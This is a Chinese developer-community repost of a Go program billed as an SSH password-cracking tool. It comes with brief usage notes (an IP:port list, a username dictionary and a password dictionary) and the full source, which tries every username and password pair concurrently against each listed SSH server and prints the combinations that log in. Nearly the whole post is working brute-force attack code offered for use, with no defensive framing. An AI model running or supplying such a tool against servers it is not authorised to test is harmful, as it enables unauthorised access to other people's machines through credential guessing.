前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >转--Golang语言版 ssh口令破解工具

转--Golang语言版 ssh口令破解工具

作者头像
李海彬
发布2018-03-21 10:35:09
1.3K0
发布2018-03-21 10:35:09
举报
文章被收录于专栏:Golang语言社区

使用说明:

  1. iplist的格式为ip:port,如111.111.111.111:22
  2. user.txt为用户名字典
  3. password.txt为密码字典
  4. github:https://github.com/netxfly/crack_ssh/blob/master/scan_ssh.go

源码:

代码语言:javascript
复制
package mainimport (    "bufio"
    "bytes"
    "fmt"
    "github.com/btcsuite/golangcrypto/ssh"
    "log"
    "os"
    "runtime"
    "strings"
    "time")type HostInfo struct {
    host    string
    port    string
    user    string
    pass    string
    is_weak bool}// help functionfunc Usage(cmd string) {
    fmt.Println(strings.Repeat("-", 50))
    fmt.Println("SSH Scanner by hartnett [x@xsec.io]")
    fmt.Println("Usage:")
    fmt.Printf("%s iplist userdic passdic\n", cmd)
    fmt.Println(strings.Repeat("-", 50))
}// read lime from file and Scanfunc Prepare(iplist, user_dict, pass_dict string) (slice_iplist, slice_user, slice_pass []string) {
    iplistFile, _ := os.Open(iplist)    defer iplistFile.Close()
    scanner := bufio.NewScanner(iplistFile)
    scanner.Split(bufio.ScanLines)    for scanner.Scan() {
        slice_iplist = append(slice_iplist, scanner.Text())
    }

    user_dictFile, _ := os.Open(user_dict)    defer user_dictFile.Close()
    scanner_u := bufio.NewScanner(user_dictFile)
    scanner_u.Split(bufio.ScanLines)    for scanner_u.Scan() {
        slice_user = append(slice_user, scanner_u.Text())
    }

    pass_dictFile, _ := os.Open(pass_dict)    defer pass_dictFile.Close()
    scanner_p := bufio.NewScanner(pass_dictFile)
    scanner_p.Split(bufio.ScanLines)    for scanner_p.Scan() {
        slice_pass = append(slice_pass, scanner_p.Text())
    }    return slice_iplist, slice_user, slice_pass
}// Scan functionfunc Scan(slice_iplist, slice_user, slice_pass []string) {    for _, host_port := range slice_iplist {
        fmt.Printf("Try to crack %s\n", host_port)
        t := strings.Split(host_port, ":")
        host := t[0]
        port := t[1]
        n := len(slice_user) * len(slice_pass)
        chan_scan_result := make(chan HostInfo, n)        for _, user := range slice_user {            for _, passwd := range slice_pass {

                host_info := HostInfo{}
                host_info.host = host
                host_info.port = port
                host_info.user = user
                host_info.pass = passwd
                host_info.is_weak = false

                go Crack(host_info, chan_scan_result)                for runtime.NumGoroutine() > runtime.NumCPU()*300 {
                    time.Sleep(10 * time.Microsecond)
                }
            }
        }
        done := make(chan bool, n)        go func() {            for i := 0; i < cap(chan_scan_result); i++ {                select {                case r := <-chan_scan_result:                    // fmt.Printf("Try %s:%s, user: %s, password: %s\n", r.host, r.port, r.user, r.pass)
                    if r.is_weak {                        var buf bytes.Buffer
                        logger := log.New(&buf, "logger: ", log.Ldate)
                        logger.Printf("%s:%s, user: %s, password: %s\n", r.host, r.port, r.user, r.pass)
                        fmt.Print(&buf)
                    }                case <-time.After(1 * time.Second):                    // fmt.Println("timeout")
                    break

                }
                done <- true

            }
        }()        for i := 0; i < cap(done); i++ {            // fmt.Println(<-done)
            <-done
        }

    }

}// crack passwdfunc Crack(host_info HostInfo, chan_scan_result chan HostInfo) {
    host := host_info.host
    port := host_info.port
    user := host_info.user
    passwd := host_info.pass
    is_ok := host_info.is_weak

    config := &ssh.ClientConfig{
        User: user,
        Auth: []ssh.AuthMethod{
            ssh.Password(passwd),
        },
    }
    client, err := ssh.Dial("tcp", host+":"+port, config)    if err != nil {
        is_ok = false
        // panic("Failed to dial: " + err.Error())
    } else {
        session, err := client.NewSession()        defer session.Close()        if err != nil {
            is_ok = false
        } else {
            is_ok = true

        }

    }

    host_info.is_weak = is_ok
    chan_scan_result <- host_info
}// main functionfunc main() {
    runtime.GOMAXPROCS(runtime.NumCPU())    if len(os.Args) != 4 {
        Usage(os.Args[0])
    } else {
        Usage(os.Args[0])
        iplist := os.Args[1]
        user_dict := os.Args[2]
        pass_dict := os.Args[3]
        Scan(Prepare(iplist, user_dict, pass_dict))
    }
}
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2016-04-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Golang语言社区 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 使用说明:
  • 源码:
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档